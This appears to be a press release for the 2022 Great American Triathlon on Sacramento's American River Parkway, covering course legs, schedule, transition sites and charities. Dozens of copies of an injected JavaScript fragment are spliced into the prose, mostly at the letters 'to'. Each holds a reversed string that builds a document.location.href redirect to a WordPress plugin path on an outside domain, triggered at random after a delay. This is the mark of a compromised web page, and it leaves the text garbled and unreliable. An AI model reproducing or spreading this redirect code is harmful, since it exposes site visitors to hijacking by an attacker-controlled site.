GREAT AMERICAN TRIATHLON JULY 16, 2022!! RUN, BIKE & PADDLE (FORMER EPPIE’S GREAT RACE)

Triathlon

 ON AMERICAN RIVER PARKWAY.
GREAT AMERICAN TRIATHLON!
Saturday, July 16, 2022 

“No Swim Triathlon!” 

WHAT: The favorite Northern California Summer Triathlon tradition of Running, Cycling, and Paddling on the American River Parkway, continues in person on Saturday, July 16, 2022, at the “Great American Triathlon” (GAT)! Known previously as, “Eppie’s Great Race”, and with a challenging course set along one of the most beautiful urban landscapes in America, this no-swim triathlon is a 24.42-mile run, ride, and paddle event unlike any other.

GAT allows relay teams and/or individuals toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to compete in divisions from “Junior,” toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to “Iron Person,” 14 – 70 years and older; and those wishing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to compete in a single leg may be matched with other competitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to form relay teams through the GAT social media. Race entrants, volunteers, event sponsors, potential exhibitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors, and spectatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors can register and find more information here: www.greatamericantriathlon.com/.

HOW:   GAT participants run 5.82 miles, cycle 12.5 miles, and paddle 6.35 miles, on a racecourse located on and alongside the American River Parkway. Following the running and biking legs on the American River Bike Trail, GAT’s final leg on the American River constitutes the largest single day paddling event in the world (featuring kayaks, Standup Paddle boards, canoes, sit-on-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top kayaks, and multiple other watercraft).

WHEN: GAT, “Packet Pick-Up Party” & Expo: Friday, July 15, 2022:

  • 4:00 pm – 8:00 pm
  • River Bend Park (formerly Goethe Park) in Rancho Cordova, CA – GAT Finish Line Area
  • Open toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the public – Media welcome for interviews, live remotes & weathercasts!

Great American Triathlon (GAT): Saturday, July 16, 2022 – Start Times:

  • 7:58 a.m. – Adaptive Divisions
  • 8:00 a.m. – Ironpersons & All Other Teams & Divisions
  • Media parking passes and special/transition point access available!

WHERE: GAT course on the American River Parkway, Rancho Cordova and Sacramentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, CA:

  • GAT Start: William Pond Recreation Area: From Hwy. 50, exit Watt Avenue North, turn right on Fair Oaks Blvd., and then right on Arden Way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Park. From the Capital City Freeway, exit Arden Way East, and stay on Arden Way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to William Pond Recreation Area.
  • GAT Run-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Bike Transition: East end of the Guy West Bridge off University Ave., across from California State University, Sacramentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to (CSUS).
  • GAT Bike-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Boat Transition:  Located at toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to_Bar_%26_Lower_Sunrise_Map.pdf”>Lower Sunrise Parking Lot and Footbridge – Hwy. 50 East; Exit Sunrise north (left over the freeway); Right on S. Bridge Dr. (toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toward American River Raft Rentals; if you cross Sunrise Bridge you’ve gone toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too far). Go past American River Raft Rentals; Left at intersection—about ½ mile toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the parking lot.
  • GAT Finish Line: River Bend Recreation Area: 3711 Branch Center Rd, Sacramentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, CA 95827.

WHY: Proceeds from GAT are donated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to support Child Advocates of Placer CountyChild Advocates of El Dorado CountyAmerican River Parkway Foundation; and Reach Your Potential Foundation.

FURTHER INFO: Please check: www.greatamericantriathlon.comFacebookInstagram; or Twitter.

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Drisha Leggitt

Drisha Leggitt is a Director-at-Large for the Public Relations Society of America California Capital Chapter

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